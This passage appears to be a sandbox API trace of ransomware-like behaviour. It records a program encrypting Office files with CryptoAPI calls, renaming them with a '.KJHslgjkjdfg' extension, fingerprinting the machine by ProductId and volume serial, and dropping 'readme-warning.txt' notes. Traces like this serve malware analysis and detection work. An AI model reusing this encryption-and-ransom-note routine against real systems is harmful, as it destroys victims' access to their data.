hHeap=0x2a0000) returned 1 [0144.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0144.153] CloseHandle (hObject=0x13c) returned 1 [0144.153] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0144.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.154] GetProcessHeap () returned 0x2a0000 [0144.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.154] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.155] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.155] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.158] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.158] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.158] GetProcessHeap () returned 0x2a0000 [0144.158] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.158] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0144.158] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.158] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0144.158] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.158] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.158] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.158] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.159] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.159] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.159] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.159] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.159] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x708, lpOverlapped=0x0) returned 1 [0144.159] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x710, dwBufLen=0x710 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x710) returned 1 [0144.159] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.159] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x710, lpOverlapped=0x0) returned 1 [0144.159] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.159] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.159] SetEndOfFile (hFile=0x13c) returned 1 [0144.162] GetProcessHeap () returned 0x2a0000 [0144.162] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.162] GetProcessHeap () returned 0x2a0000 [0144.162] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.kjhslgjkjdfg")) returned 1 [0144.167] CloseHandle (hObject=0x13c) returned 1 [0144.167] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0144.168] GetProcessHeap () returned 0x2a0000 [0144.168] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.168] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0144.168] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.168] GetProcessHeap () returned 0x2a0000 [0144.168] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.169] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0144.169] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.169] GetProcessHeap () returned 0x2a0000 [0144.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a00 [0144.169] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.169] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a00, pdwDataLen=0x290eb98 | out: pbData=0x2f7a00, pdwDataLen=0x290eb98) returned 1 [0144.169] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.169] GetProcessHeap () returned 0x2a0000 [0144.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.169] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.169] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0144.169] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.169] GetProcessHeap () returned 0x2a0000 [0144.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.170] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.170] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0144.170] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.170] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0144.170] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0144.170] RegCloseKey (hKey=0x13c) returned 0x0 [0144.170] GetProcessHeap () returned 0x2a0000 [0144.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.170] GetProcessHeap () returned 0x2a0000 [0144.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.170] GetProcessHeap () returned 0x2a0000 [0144.170] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.170] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.170] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0144.170] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.170] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.170] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.171] GetProcessHeap () returned 0x2a0000 [0144.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.171] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.171] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.171] GetProcessHeap () returned 0x2a0000 [0144.171] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dc8 [0144.171] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\readme-warning.txt") returned 109 [0144.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.174] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dc8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dc8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0144.175] CloseHandle (hObject=0x13c) returned 1 [0144.175] GetProcessHeap () returned 0x2a0000 [0144.175] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a00 | out: hHeap=0x2a0000) returned 1 [0144.175] GetProcessHeap () returned 0x2a0000 [0144.176] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dc8 | out: hHeap=0x2a0000) returned 1 [0144.176] GetProcessHeap () returned 0x2a0000 [0144.176] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.176] GetProcessHeap () returned 0x2a0000 [0144.176] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.176] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0144.176] GetProcessHeap () returned 0x2a0000 [0144.176] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0144.176] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0144.176] GetProcessHeap () returned 0x2a0000 [0144.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0144.176] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0144.176] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.176] GetProcessHeap () returned 0x2a0000 [0144.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0144.176] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0144.176] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.177] GetProcessHeap () returned 0x2a0000 [0144.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0144.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0144.177] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0144.177] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.177] GetProcessHeap () returned 0x2a0000 [0144.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0144.177] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0144.177] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.177] GetProcessHeap () returned 0x2a0000 [0144.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0144.177] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0144.177] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.177] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0144.177] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0144.177] RegCloseKey (hKey=0x118) returned 0x0 [0144.178] GetProcessHeap () returned 0x2a0000 [0144.178] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.178] GetProcessHeap () returned 0x2a0000 [0144.178] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.178] GetProcessHeap () returned 0x2a0000 [0144.178] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.178] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0144.178] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0144.178] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.178] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.178] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.178] GetProcessHeap () returned 0x2a0000 [0144.178] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.178] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.178] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.178] GetProcessHeap () returned 0x2a0000 [0144.178] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0144.178] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\readme-warning.txt") returned 98 [0144.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0144.179] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0144.180] CloseHandle (hObject=0x118) returned 1 [0144.180] GetProcessHeap () returned 0x2a0000 [0144.180] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0144.180] GetProcessHeap () returned 0x2a0000 [0144.180] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0144.180] GetProcessHeap () returned 0x2a0000 [0144.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.181] GetProcessHeap () returned 0x2a0000 [0144.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.181] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0144.181] GetProcessHeap () returned 0x2a0000 [0144.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, 